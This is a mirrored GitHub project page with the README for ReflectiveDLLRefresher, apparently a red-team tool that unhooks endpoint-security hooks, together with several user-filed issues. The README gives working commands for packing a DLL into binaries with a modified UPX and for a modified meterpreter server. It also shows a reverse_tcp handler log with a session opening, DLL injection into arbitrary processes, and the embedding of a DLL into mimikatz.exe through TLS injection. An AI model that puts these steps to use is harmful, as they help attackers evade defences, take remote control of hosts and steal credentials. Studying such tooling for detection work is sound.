Git Product home page Git Product logo

reflectivedllrefresher's Introduction

ReflectiveDLLRefresher

Usage

DLLRefresher

DLLRefresher.exe is a standalone test harness for scanning the process's memory space and unhooking the currently loaded libraries.

UPX

The packaged UPX binaries have been modified to support an additional parameter (-X <path/to/target.dll>) to embed into the packed binary. The final UPX packed binary will unpack the target executable in memory and call the embedded DLL before jumping into the executable's original entry point.

The modified UPX source can be found @ https://github.com/CylanceVulnResearch/upx/tree/reflective_dll

Usage:

upx -o <output filename> -X <path/to/embed.dll> <target executable>

Example:

upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe

Meterpreter

The metsrv.dll (and associated plugins in the meterpreter folder) is a modified meterpreter server which will unhook the currently loaded libraries before running meterpreter initalization.

Usage:

Copy all DLLs from the meterpreter folder into metasploit-framework/data/meterpreter/ and get meterpreter execution on target as normal.

Example:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used

Inject

Inject.exe is a helper utilty to inject a given DLL into any process.

Usage:

Inject.exe <pid> <filename>

Example:

Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.

DLL

The DLL can be injected through a meterpreter session using the post/windows/manage/reflective_dll_inject module.

Usage:

msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run

Example:

msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run

[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed

TLS Injector

tlsInjector.py is a modified veresion of Borja Merino's script to support reflective DLL injection. It will take a reflective DLL and inject it into the TLS section of a 32-bit executable (64-bit is not supported).

Usage:

python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t

Example:

python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t

reflectivedllrefresher's People

Contributors

mrjefftang avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

reflectivedllrefresher's Issues

Calling the entrypoint

I'd like to modify the project a littlebit to call the EP after a successful load, but for some reason it instantly crashes. Can you see any reason why would it?

The EP call happens right before the cleanup part & the code is (which is quite obvious):

if (pNtHeader->OptionalHeader.AddressOfEntryPoint)
{
typedef BOOL(WINAPI *PDLL_MAIN)(HMODULE, DWORD, PVOID);
PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)pLibraryAddr + pNtHeader->OptionalHeader.AddressOfEntryPoint);
BOOL ep = EntryPoint((HMODULE)pLibraryAddr, DLL_PROCESS_ATTACH, NULL); // Call the entry point
}

The problem seems to be some fucked up pointer, because I get a memory access error, but since things are relocated by ReflectiveDLLRefresher, I'm out of ideas what could go wrong.

Unknown crash

I can't seem to get this working, are there any specific requirements I'm missing? I'm compiling/running on Win7, using v141_xp.

[*] Running DLLRefresher
[*] Refreshing DLL: DLLRefresher.x64.exe
[+] Opening file: C:\Users\User\Desktop\ReflectiveDLLRefresher-master\x64\Debug\DLLRefresher.x64.exe
[+] Allocating memory for library
[+] Copying PE header into memory
[+] Copying PE sections into memory
[+] Calculating file relocations
[+] Resolving Import Address Table (IAT) 
[+] Loading library: KERNEL32.dll
[*] Searching for loaded module: KERNEL32.dll -> found in memory
[*] Found a redirected entry: NTDLL.RtlInitializeSListHead
...
[+] Loading library: API-MS-Win-Security-Base-L1-1-0.dll
[*] Searching for loaded module: API-MS-Win-Security-Base-L1-1-0.dll -> found in memory
[*] Scanning module: kernel32.dll
[!] Found modification in: .rdata
[+] Copying known good section into memory.
FE414: The instruction at 0xFE414 referenced memory at 0xFE414. The memory could not be executed -> 00000000000FE414 (exc.code c0000005, tid 1008)

ApiSetMap.cpp infinite loop bug

for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)

Since DWORD is unsigned it will never reach less than zero.
It affects every GetRedirectedName_VX() function.

My idea is to either make it signed or modify the operator to:
dwSetCount > 0

I'm not sure which would be correct :)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.